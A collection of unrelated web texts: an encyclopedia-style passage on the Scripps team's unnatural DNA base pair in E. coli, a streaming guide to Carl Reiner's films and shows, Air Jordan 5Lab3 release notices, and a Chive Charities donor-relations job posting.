In 2012, a group of American scientists led by Floyd Romesberg, a chemical biologist at the Scripps Research Institute in San Diego, California, published that his team designed an unnatural base pair (UBP).[3] The two new artificial nucleotides or Unnatural Base Pair (UBP) were named d5SICS and dNaM. More technically, these artificial nucleotides bearing hydrophobic nucleobases, feature two fused aromatic rings that form a (d5SICS–dNaM) complex or base pair in DNA.[4][38] In 2014 the same team from the Scripps Research Institute reported that they synthesized a stretch of circular DNA known as a plasmid containing natural T-A and C-G base pairs along with the best-performing UBP Romesberg's laboratory had designed, and inserted it into cells of the common bacterium E. coli that successfully replicated the unnatural base pairs through multiple generations.[34] This is the first known example of a living organism passing along an expanded genetic code to subsequent generations.[4][39] This was in part achieved by the addition of a supportive algal gene that expresses a nucleotide triphosphate transporter which efficiently imports the triphosphates of both d5SICSTP and dNaMTP into E. coli bacteria.[4] Then, the natural bacterial replication pathways use them to accurately replicate the plasmid containing d5SICS–dNaM.
The successful incorporation of a third base pair is a significant breakthrough toward the goal of greatly expanding the number of amino acids which can be encoded by DNA, from the existing 20 amino acids to a theoretically possible 172, thereby expanding the potential for living organisms to produce novel proteins.[34] The artificial strings of DNA do not encode for anything yet, but scientists speculate they could be designed to manufacture new proteins which could have industrial or pharmaceutical uses.[40]
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Reiner, the creator of "The Dick Van Dyke Show" and director of acclaimed comedies with Steve Martin and others, excelled at spotlighting the unique comic gifts of his collaborators.
It sounds crazy to say that Carl Reiner's death was unexpected, given that he was 98 when he passed away on Monday night. But he's been with us so long and has cast such a long shadow over seven decades of popular culture, that it seemed that he (like his best pal Mel Brooks) might just live forever.
Over the course of his near-century on earth, Reiner was a television performer, a sitcom creator, and both a film actor and filmmaker, bringing his distinctive wit and grace to every project. Here are a few of the streamable highlights.
'Excavating the 2,000 Year Old Man' (2012)
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Reiner's first big break was as a regular performer on "Your Show of Shows," the groundbreaking live sketch comedy show, where he honed his skills as a straight man for the star, Sid Caesar. (Sadly, "Your Show" is MIA from the streaming services.) He also became friends with one of the junior writers, an up-and-comer named Mel Brooks, and they developed an improvised routine in the writers' room in which Reiner would interview a recently excavated 2,000-year-old man, played by Brooks, about the countless historical events he'd witnessed. Reiner and Brooks first performed the double act at parties for friends, before translating it to nightclubs, comedy albums and television talk shows. This 2012 documentary, which features contemporary interviews with Reiner and Brooks, details the creations and proliferation of the act — but it's most valuable for the priceless archival footage and audio of those hysterically funny routines.
'The Dick Van Dyke Show' (1961-1965)
(Stream on Hulu, Prime Video and Tubi. Buy on Amazon and Apple.)
You could never accuse Reiner of suffering from too much pride. When "Your Show of Shows" ended, he attempted to turn his experiences juggling television work and family life into a situation comedy. He shot a pilot for the series, then called "Head of the Family," with himself in the lead — by his own admission, it didn't work. So instead, he reworked the series with Dick Van Dyke in the lead, casting himself as Alan Brady, the Sid Caesar-style star of the show-within-the-show, and a television classic was born. "The Dick Van Dyke Show" is a sparkling, sophisticated sitcom, featuring Van Dyke at his pratfalling best, the inimitable comic chemistry of Morey Amsterdam and Rose Marie, and Mary Tyler Moore becoming a television icon before your very eyes.
'Oh, God!' (1977)
(Rent or buy on Amazon, Apple, YouTube, Vudu and Google Play.)
After the success of "The Dick Van Dyke Show," Reiner began to work more behind the camera in both film and television. His breakthrough directorial effort, "Where's Poppa?" (1970), is not currently streaming, but he had a megahit seven years later with this gentle, playful comedy from a script by Larry Gelbart ("Tootsie"). John Denver stars as Jerry Landers, an affable supermarket manager who is contacted by God — taking the human form of cigar-chomping vaudevillian George Burns — and asked to spread his message of love and understanding. Reiner's light touch keeps the film from degenerating into either cheap blasphemy or heavy-handedness; it's a charming movie, featuring Burns's best film performance.
'The Jerk' (1979)
(Stream on Starz. Rent or buy on Amazon, Apple, YouTube, Vudu and Google Play.)
After the success of "Oh, God!," Reiner embarked on his most fruitful collaboration since his days with Mel Brooks: a six-year, four-film run with the comedian-turned-actor Steve Martin. Their first film was basically an adaptation of Martin's absurdist stand-up act, with Martin starring as Navin Johnson, a spectacularly stupid Everyman who nevertheless finds fame and fortune before losing it all. (Reiner makes a cameo appearance as himself.) Both as a performer and a director, Reiner excelled at spotlighting the unique comic gifts of his collaborators; here, he builds a W.C. Fields-style blackout-sketch vehicle around the Martin persona, and creates a comedy classic in the process.
'Dead Men Don't Wear Plaid' (1982)
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Reiner and Martin's next picture was even more collaborative, with Reiner joining in on screenwriting duties with Martin and George Gipe to craft a spoof of the detective movies and noir films of the 1940s. The execution was ingenious: via careful camera choreography and cinematography, Reiner used clips from real films of the era, resulting in uproarious scenes of Martin interacting with such legends as Humphrey Bogart, Ingrid Bergman, Edward G. Robinson and Barbara Stanwyck. "Dead Men" is thus both a sendup of those movies and an affectionate valentine to them, serving as Reiner's most overt expression of his lifelong cinephilia.
'The Man With Two Brains' (1983)
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The duo continued to spoof genre films of the past with this satire of cheap sci-fi in general and mad scientist movies in particular. Martin stars as Dr. Michael Hfuhruhurr, who develops an innovative screw-top method of brain surgery and falls in love with a transplanted brain (voiced by Sissy Spacek). This wildly silly premise gets extra comic juice from Kathleen Turner's droll supporting work as Hfuhruhurr's gold-digging wife, a femme fatale turn that wittily sends up her own performance in the neo-noir "Body Heat" two years earlier.
Reiner and Martin's final collaboration, and one of their most successful, finds Martin starring as Roger Cobb, an ambitious lawyer whose millionaire client (Lily Tomlin) attempts to transfer her soul into a younger body, but ends up putting it into Cobb's. The clever notion of two warring souls fighting for possession of a single body must've been catnip for a physical comedian of Martin's skill, and Reiner delicately orchestrates the screwball premise into one of the great comedies of the 1980s.
'Summer Rental' (1985)
(Stream on DirecTV. Rent or buy on Amazon, Apple, YouTube, Vudu and Google Play.)
Once again displaying a keen eye for new talent, Reiner followed up the Martin quartet with one of the first starring vehicles for John Candy, then best known for his work on "SCTV" and scene-stealing supporting turns in films like "Splash," "Vacation" and "Stripes." Candy stars as a harried air traffic controller who tries to take his family on an extended Florida beach vacation; he's seeking rest and relaxation, but just about everything that can go wrong does. In his direction of the high jinks, Reiner shows an early understanding of the quality that made Candy's later films with John Hughes so memorable: that underneath all his slapstick bluster, there lurked a gentle, sensitive soul.
'Sibling Rivalry' (1990)
(Stream on Vudu.)
Reiner's later directorial efforts were hit and miss, but there's a case to be made for this 1990 picture, which finds Reiner making his first full-on black comedy since "Where's Poppa?" nearly two decades earlier. Kirstie Alley stars as a bored housewife whose one-time sexual tryst has deadly consequences, resulting in an ever-widening array of complications and implications; the ace supporting cast includes Bill Pullman, Sam Elliott, Jami Gertz, Ed O'Neill and Carrie Fisher.
'Ocean's Eleven' (2001)
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In his later years, Reiner kept busy with a variety of acting appearances, mostly on television (including "Two and a Half Men," "Hot in Cleveland" and "Family Guy"). He found his highest-profile film work as a member of the team of thieves in Steven Soderbergh's "Ocean's" trilogy; Reiner has his moments in all of them, but he's probably best in the first of the series, performing the picture's best fake-out (a carefully prepared health scare) like an absolute pro. Reiner was the elder statesman of the all-star cast, and the trilogy admirably treats him like what he had become: a living legend.


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Air Jordan 5Lab3
Mar 27th
The latest addition to the Jordan Brand's Elements collection is Air Jordan 5Lab3. The sneaker takes the Air Jordan 3 silhouette and showcases iconic elements from the Air Jordan 5: the reflective Metallic Silver, touches of Elephant Print and subtle hits of powder blue which are seen through the translucent sole.
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Air Jordan 5Lab3 Release Details
Mar 24th
The Air Jordan 5Lab3 is the newest model in the Air Jordan Elements collection. The Air Jordan 3 is a perfect canvas to showcase iconic elements from the Air Jordan 5. An upper made almost completely of reflective Metallic Silver is the hallmark of this Lab creation, with touches of Elephant Print and hits of Powder Blue. If you're interested in copping a pair this weekend, check out our release details below.
In partnership with mall management, SELECT House of Hoops by Foot Locker stores will implement a sweepstakes ticket procedure* in order to purchase the Air Jordan 5Lab3 (on sale 3/29/14 for $ 225). The sweepstakes tickets will be given out Wednesday, March 26th and Thursday, March 27th. If your ticket number is selected, you will be notified by phone on Friday, March 28th. These procedures are for SELECT STORES only. To find out which store near you will carry the shoe and if that store will implement the sweepstakes ticket procedure, please visit the Foot Locker Launch Locator.
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Then put on your cape and get ready to join Chive Charities as our new Donor Relations Coordinator! Along with supporting execution on all things related to, well, development at the charities, this position is the go-to source for managing donor data, donor stewardship, and supporting Chive Charities' Director of Strategic Development.
What kind of support, you may ask? Support in strategic partnership campaigns, donor acquisition campaigns, and donor retention campaigns. Basically, your job (if you choose to accept it), is to help us reel 'em in and keep 'em. Chive Charities relies on many good-hearted donors and we need you to help us find those people! Your focus will be on building relationships with our current donor base, and thinking independently on how to acquire new donors.
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